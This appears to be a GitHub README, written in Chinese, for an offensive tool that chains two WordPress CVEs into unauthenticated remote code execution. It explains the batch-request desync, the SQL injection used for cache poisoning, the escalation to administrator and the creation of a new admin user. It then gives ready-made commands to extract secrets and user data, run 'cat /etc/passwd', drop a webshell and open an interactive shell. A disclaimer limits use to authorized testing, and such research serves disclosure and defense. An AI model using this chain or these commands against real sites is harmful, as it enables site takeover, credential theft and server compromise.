Crypto-Cat/wp2shell
GitHub: Crypto-Cat/wp2shell
wp2shell 是针对 WordPress 认证前 RCE 漏洞链(CVE-2026-63030 + CVE-2026-60137)的概念验证利用工具,无需凭证即可实现提权与远程代码执行。
Stars: 0 | Forks: 0
# wp2shell
针对 WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1 的认证前远程代码执行。
通过将 CVE-2026-63030(batch 路由混淆 SQLi)与 CVE-2026-60137(customizer changeset 重入)相结合,实现未经身份验证的管理员创建和 OS 命令执行。无需密码破解。

## 漏洞原理
WordPress 的 REST API 批处理程序 (`serve_batch_request_v1`) 存在一个 off-by-one 索引 bug:当 `wp_parse_url()` 解析子请求路径失败时,生成的 `WP_Error` 会被推入 `$validation[]`,但_不会_推入 `$matches[]`。这导致两个数组不同步——随后的每个请求都会被分发到**错误的 handler** 下。
通过在另一个 batch 中嵌套一个结构精心设计的 batch,攻击者可以:
1. 将一个由某个 endpoint schema 验证的请求路由到一个完全不同的 endpoint 的 callback 中
2. 通过 `author__not_in` 注入未过滤的 SQL(string→array 转换跳过了 `absint()`)
3. 使用 `UNION SELECT` 用伪造的 post 对象污染 WordPress 的对象缓存
4. 触发 changeset 自动发布以提升权限,然后携带 admin 上下文重新进入 REST API
一旦设置完成(发现表前缀和管理员 ID),提权 payload 就会在单个 HTTP 请求中触发——缓存污染、权限提升和用户创建都在服务器端的一次往返中完成。
## 链式攻击工作原理
```
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
```
**缓存污染(通过 UNION 注入 7 个伪造 post):**
- 一个触发器 post,其内容包含 `[embed]` shortcode
- 一个 changeset post(`customize_changeset`,状态为 `future`,日期在过去)
- 一个外层循环伙伴(parent=changeset,创建 Loop 1)
- 一个 oEmbed 目标(动态防递归 ID,parent=changeset,内容为空)
- 一个导航菜单项 post(被污染为 `post_type=nav_menu_item` 以通过 `is_nav_menu_item` 检查)
- 一个重入 post(`post_type=request`,`post_status=parse`,parent=inner)
- 一个内层循环伙伴(parent=re-entry,创建 Loop 2)
**执行流程:**
1. UNION 用所有 7 个伪造 post 污染对象缓存
2. Posts handler 渲染触发器 post 的内容 → 触发 `[embed]` shortcode
3. oEmbed 缓存查找找到一个内容为空的后备 post → 直接落入 `wp_update_post`
4. `wp_update_post` 读取缓存的 changeset(parent=outer)→ 层级检查检测到 Loop 1
5. 修复程序将 changeset 以 `future` 状态写入数据库 → 自动转换为 `publish`
6. `_wp_customize_publish_changeset` 触发 → `wp_set_current_user(admin_id)` → 激活 admin 上下文
7. Changeset 处理 `nav_menu_item[real_id]` —— 缓存显示类型为 nav_menu_item → 走 UPDATE 路径
8. `object_id` 解析为 `post_parent=re-entry` 的缓存 post → 对真实 post 执行 `wp_update_post`
9. 层级检查(`$post_id` 非零)检测到 Loop 2(re-entry ↔ inner)
10. 修复程序调用 `wp_update_post(re-entry)` → 将 type=request, status=parse 写入数据库
11. `wp_transition_post_status` 触发 `do_action("parse_request")` → `rest_api_loaded()` → `serve_request()`
12. REST API 重入,**以 admin 权限**重新处理整个 batch
13. 尾部的 `POST /wp/v2/users` 成功 → 创建管理员 → `die()`
防递归 MySQL session 变量 (`@_wp2s`) 确保该链只触发一次,不会陷入死循环。
## 功能
- **三种提取模式**并带有自动检测:UNION(1 个请求/值)、基于错误的 EXTRACTVALUE(约 30 字符/请求)、布尔盲注二分搜索(约 7 个请求/字符)
- **完全的认证前 RCE** —— 无需凭证,无需破解,提权在单次往返中触发
- **自动发现** —— 通过 INFORMATION_SCHEMA 获取表前缀,通过 capabilities meta 获取管理员用户 ID
- **后渗透** —— 带有 token 认证的插件 webshell,跟踪 CWD 的交互式 shell,文件读写
- **清理模式** —— `--cleanup` 在退出时删除创建的用户并移除 webshell
- **零依赖** —— 仅使用标准库,单文件,在 Python 3.8+ 上运行
## 安装
```
git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
```
无需 `pip install`,无需 virtualenv。它只是一个单文件。
## 用法
### 检查目标是否存在漏洞
```
# 被动布尔盲注测试
python3 wp2shell.py check http://target.com
# 同时通过 timing 和 UNION 验证
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
```
### 提取数据
```
# 自动选择最快的技术 (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# 强制使用特定技术
python3 wp2shell.py read http://target.com --technique blind --preset users
# 自动发现表前缀
python3 wp2shell.py read http://target.com --auto-prefix --preset users
```
### 完整利用
```
# 利用并进入交互式 shell
python3 wp2shell.py exploit http://target.com -i
# 利用,执行单个命令,清理痕迹
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# 如果已知前缀则跳过自动发现
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# 通过代理 (Burp, mitmproxy, 等)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
```
### 认证 shell(带有现有凭证)
```
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
```
## 完整 RCE 的要求
`check` 和 `read` 命令适用于任何受影响的目标。`exploit` 链有三个额外要求:
| 要求 | 原因 | 默认 WP 情况? |
| --------------------------- | --------------------------------------------------------------- | ------------------------ |
| 至少有一个已发布的 post | oEmbed 需要一个本地 URL 来触发 embed 处理 | 是 (Hello World) |
| 无持久化对象缓存 | 必须禁用 split-the-query 才能使 UNION 行存活 | 是 (默认为文件缓存) |
| REST API 可访问 | 通过 `parse_request` 重入需要 REST 服务器 | 是 |
| 直接文件系统写入 | 插件上传需要 `FS_METHOD=direct` 或由 PHP 拥有 wp-content | 是 (大多数主机) |
如果目标使用 Redis 或 Memcached 作为对象缓存,无论 `per_page` 设置如何,`split_the_query` 都会被强制开启,并且 UNION 行会在仅获取 ID 的过程中被丢弃。`read` 命令仍然有效(盲注提取不需要 UNION 存活在缓存中),但 `exploit` 将会失败。
## 受影响版本
| 分支 | 存在漏洞 | 已修复 |
| ------ | ------------- | ----- |
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
补丁在错误情况中添加了 `$matches[] = $single_request;`(修复了 off-by-one),并在 `serve_request()` 中添加了重入防护。
## 架构
```
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
```
## 技术细节
**为什么使用 `/wp/v2/widgets` 作为源路由?**
Widgets controller 没有在其 endpoint schema 中注册 `per_page`、`orderby` 或 `author_exclude`。这些参数在验证时原封不动地通过(schema 验证器会忽略未知参数)。当不同步将该请求通过 Posts controller 分发时,这些原始值会直接流入 `WP_Query`。
**为什么是 `per_page=500`?**
`class-wp-query.php:3375` —— split_the_query 要求 `!empty($limits) && posts_per_page < 500`。当 `per_page=500` 时,条件 `500 < 500` 为假,因此禁用了 split_the_query。完整查询(包括 UNION)作为单个语句执行,所有注入的行都得以存活并进入结果集和缓存。
**为什么是 `nav_menu_item[real_id]`(正数 ID)?**
使用正的 post ID 会进入 `nav-menu.php:614` 的 UPDATE 路径,该路径会以非零的 `$post_id` 调用 `wp_update_post`。这至关重要,因为 `post.php:8070` 中的 `wp_check_post_hierarchy_for_loops` 在 `$post_id = 0`(新 post)时会提前返回。该 ID 的缓存被污染为 `post_type=nav_menu_item`,以便 `is_nav_menu_item()` 能通过 `nav-menu.php:426` 的类型检查。UPDATE 路径随后触发检测到 Loop 2 的层级检查。
**为什么有两个层级循环?**
Loop 1(changeset ↔ outer)触发 changeset 发布并设置 admin 上下文。Loop 2(re-entry ↔ inner)_在 admin 时间窗口内_(在 changeset 发布循环内的导航菜单项设置的 `save()` 调用中)触发,并触发 `parse_request` → REST 重入。这两个循环是独立的,因为 Loop 2 的修复程序必须在第 3589 行的重置之前,在第 3581 行的 admin 时间窗口内将 re-entry post 写入数据库。
## 免责声明
此工具发布用于授权的安全测试和研究目的。仅针对您拥有或获得明确书面授权进行测试的系统使用。未经授权访问计算机系统是非法的。
## 鸣谢
由 [CryptoCat](https://github.com/Crypto-Cat) 研究和开发。
标签:CISA项目, Web报告查看器, WordPress, 安全, 提权, 数据展示, 红队, 编程工具, 超时处理, 远程代码执行